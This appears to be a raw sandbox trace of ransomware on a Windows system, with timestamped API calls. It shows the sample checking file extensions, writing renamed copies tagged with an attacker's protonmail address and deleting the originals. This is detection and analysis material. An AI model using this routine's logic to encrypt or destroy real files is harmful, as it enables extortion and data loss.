	[0082.486] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=10752) returned 1
	[0082.486] CloseHandle (hObject=0x350) returned 1
	[0082.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20
	[0082.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0082.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0082.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0082.486] lstrlenW (lpString=".doc") returned 4
	[0082.486] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.486] lstrlenW (lpString=".docx") returned 5
	[0082.486] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0082.486] lstrlenW (lpString=".pdf") returned 4
	[0082.486] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.486] lstrlenW (lpString=".xls") returned 4
	[0082.486] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.486] lstrlenW (lpString=".xlsx") returned 5
	[0082.486] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0082.486] lstrlenW (lpString=".ppt") returned 4
	[0082.486] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0082.486] lstrlenW (lpString=".zip") returned 4
	[0082.486] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.486] lstrlenW (lpString=".rar") returned 4
	[0082.486] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.487] lstrlenW (lpString=".bz2") returned 4
	[0082.487] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.487] lstrlenW (lpString=".7z") returned 3
	[0082.487] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0082.487] lstrlenW (lpString=".dbf") returned 4
	[0082.487] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0082.487] lstrlenW (lpString=".1cd") returned 4
	[0082.487] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0082.487] lstrlenW (lpString=".jpg") returned 4
	[0082.487] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0082.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0082.487] lstrlenW (lpString=".doc") returned 4
	[0082.487] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.487] lstrlenW (lpString=".docx") returned 5
	[0082.487] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0082.487] lstrlenW (lpString=".pdf") returned 4
	[0082.487] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.487] lstrlenW (lpString=".xls") returned 4
	[0082.487] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.487] lstrlenW (lpString=".xlsx") returned 5
	[0082.487] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0082.487] lstrlenW (lpString=".ppt") returned 4
	[0082.487] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0082.487] lstrlenW (lpString=".zip") returned 4
	[0082.487] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.487] lstrlenW (lpString=".rar") returned 4
	[0082.487] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.488] lstrlenW (lpString=".bz2") returned 4
	[0082.488] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.488] lstrlenW (lpString=".7z") returned 3
	[0082.488] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0082.488] lstrlenW (lpString=".dbf") returned 4
	[0082.488] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0082.488] lstrlenW (lpString=".1cd") returned 4
	[0082.488] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned 68
	[0082.488] lstrlenW (lpString=".jpg") returned 4
	[0082.488] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.488] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0082.488] lstrlenW (lpString="mshwLatin.dll.mui") returned 17
	[0082.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0082.490] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3072) returned 1
	[0082.490] CloseHandle (hObject=0x350) returned 1
	[0082.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20
	[0082.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0082.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0082.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0082.495] lstrlenW (lpString=".doc") returned 4
	[0082.495] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.495] lstrlenW (lpString=".docx") returned 5
	[0082.495] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.495] lstrlenW (lpString=".pdf") returned 4
	[0082.495] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.495] lstrlenW (lpString=".xls") returned 4
	[0082.495] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.495] lstrlenW (lpString=".xlsx") returned 5
	[0082.495] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.495] lstrlenW (lpString=".ppt") returned 4
	[0082.495] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0082.495] lstrlenW (lpString=".zip") returned 4
	[0082.495] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.495] lstrlenW (lpString=".rar") returned 4
	[0082.495] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.495] lstrlenW (lpString=".bz2") returned 4
	[0082.496] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.496] lstrlenW (lpString=".7z") returned 3
	[0082.496] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74
	[0082.496] lstrlenW (lpString=".dbf") returned 4
	[0082.496] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.502] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0082.507] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0082.508] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0082.522] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.522] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0082.523] GetLastError () returned 0x0
	[0082.523] ReadFile (in: hFile=0x378, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0082.844] WriteFile (in: hFile=0x328, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0082.902] ReadFile (in: hFile=0x378, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x68268, lpOverlapped=0x0) returned 1
	[0082.916] WriteFile (in: hFile=0x328, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x68270, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x68270, lpOverlapped=0x0) returned 1
	[0083.208] ReadFile (in: hFile=0x378, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.208] WriteFile (in: hFile=0x328, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xea, lpOverlapped=0x0) returned 1
	[0083.208] SetEndOfFile (hFile=0x328) returned 1
	[0083.208] CloseHandle (hObject=0x328) returned 1
	[0083.208] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.208] SetEndOfFile (hFile=0x378) returned 1
	[0083.213] CloseHandle (hObject=0x378) returned 1
	[0083.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0083.213] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll")) returned 1
	[0083.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0083.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0083.213] lstrlenW (lpString=".doc") returned 4
	[0083.213] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.213] lstrlenW (lpString=".docx") returned 5
	[0083.213] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1
	[0083.213] lstrlenW (lpString=".pdf") returned 4
	[0083.214] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.214] lstrlenW (lpString=".xls") returned 4
	[0083.214] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.214] lstrlenW (lpString=".xlsx") returned 5
	[0083.214] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1
	[0083.214] lstrlenW (lpString=".ppt") returned 4
	[0083.214] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0083.214] lstrlenW (lpString=".zip") returned 4
	[0083.214] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.214] lstrlenW (lpString=".rar") returned 4
	[0083.214] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.214] lstrlenW (lpString=".bz2") returned 4
	[0083.214] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.214] lstrlenW (lpString=".7z") returned 3
	[0083.214] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0083.214] lstrlenW (lpString=".dbf") returned 4
	[0083.214] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0083.214] lstrlenW (lpString=".1cd") returned 4
	[0083.214] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0083.214] lstrlenW (lpString=".jpg") returned 4
	[0083.214] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0083.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0083.214] lstrlenW (lpString=".doc") returned 4
	[0083.214] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0083.214] lstrlenW (lpString=".docx") returned 5
	[0083.215] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1
	[0083.215] lstrlenW (lpString=".pdf") returned 4
	[0083.215] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0083.215] lstrlenW (lpString=".xls") returned 4
	[0083.215] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0083.215] lstrlenW (lpString=".xlsx") returned 5
	[0083.215] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1
	[0083.215] lstrlenW (lpString=".ppt") returned 4
	[0083.215] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0083.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0083.215] lstrlenW (lpString=".zip") returned 4
	[0083.215] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0083.215] lstrlenW (lpString=".rar") returned 4
	[0083.215] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0083.215] lstrlenW (lpString=".bz2") returned 4
	[0083.215] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0083.215] lstrlenW (lpString=".7z") returned 3
	[0083.215] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0083.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0083.215] lstrlenW (lpString=".dbf") returned 4
	[0083.215] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0083.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0083.215] lstrlenW (lpString=".1cd") returned 4
	[0083.215] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0083.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 91
	[0083.215] lstrlenW (lpString=".jpg") returned 4
	[0083.215] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0083.216] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0083.216] lstrlenW (lpString="VSTOInstaller.exe") returned 17
	[0083.216] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0083.227] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=100488) returned 1
	[0083.227] CloseHandle (hObject=0x328) returned 1
	[0083.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20
	[0083.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0083.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0083.227] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.227] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0083.228] GetLastError () returned 0x0
	[0083.228] ReadFile (in: hFile=0x328, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x18888, lpOverlapped=0x0) returned 1
	[0083.233] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x18890, lpOverlapped=0x0) returned 1
	[0083.235] ReadFile (in: hFile=0x328, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.236] WriteFile (in: hFile=0x388, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0083.236] SetEndOfFile (hFile=0x388) returned 1
	[0083.236] CloseHandle (hObject=0x388) returned 1
	[0083.236] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.236] SetEndOfFile (hFile=0x328) returned 1
	[0083.238] CloseHandle (hObject=0x328) returned 1
	[0083.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0083.238] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 1
	[0083.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0083.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0083.238] lstrlenW (lpString=".doc") returned 4
	[0083.238] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0083.238] lstrlenW (lpString=".docx") returned 5
	[0083.238] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0083.238] lstrlenW (lpString=".pdf") returned 4
	[0083.238] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0083.238] lstrlenW (lpString=".xls") returned 4
	[0083.238] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0083.239] lstrlenW (lpString=".xlsx") returned 5
	[0083.239] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0083.239] lstrlenW (lpString=".ppt") returned 4
	[0083.239] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0083.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0083.239] lstrlenW (lpString=".zip") returned 4
	[0083.239] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0083.239] lstrlenW (lpString=".rar") returned 4
	[0083.239] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0083.239] lstrlenW (lpString=".bz2") returned 4
	[0083.239] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0083.239] lstrlenW (lpString=".7z") returned 3
	[0083.239] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0083.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0083.239] lstrlenW (lpString=".dbf") returned 4
	[0083.239] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0083.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0083.239] lstrlenW (lpString=".1cd") returned 4
	[0083.239] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0083.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0083.239] lstrlenW (lpString=".jpg") returned 4
	[0083.239] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0083.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0083.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0083.239] lstrlenW (lpString=".doc") returned 4
	[0083.239] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0083.239] lstrlenW (lpString=".docx") returned 5
	[0083.239] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0083.239] lstrlenW (lpString=".pdf") returned 4
	[0083.239] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0083.239] lstrlenW (lpString=".xls") returned 4
	[0083.240] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0083.240] lstrlenW (lpString=".xlsx") returned 5
	[0083.240] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0083.240] lstrlenW (lpString=".ppt") returned 4
	[0083.240] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0083.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0083.240] lstrlenW (lpString=".zip") returned 4
	[0083.240] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0083.240] lstrlenW (lpString=".rar") returned 4
	[0083.240] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0083.240] lstrlenW (lpString=".bz2") returned 4
	[0083.240] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0083.240] lstrlenW (lpString=".7z") returned 3
	[0083.240] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0083.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0083.240] lstrlenW (lpString=".dbf") returned 4
	[0083.240] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0083.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0083.240] lstrlenW (lpString=".1cd") returned 4
	[0083.240] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
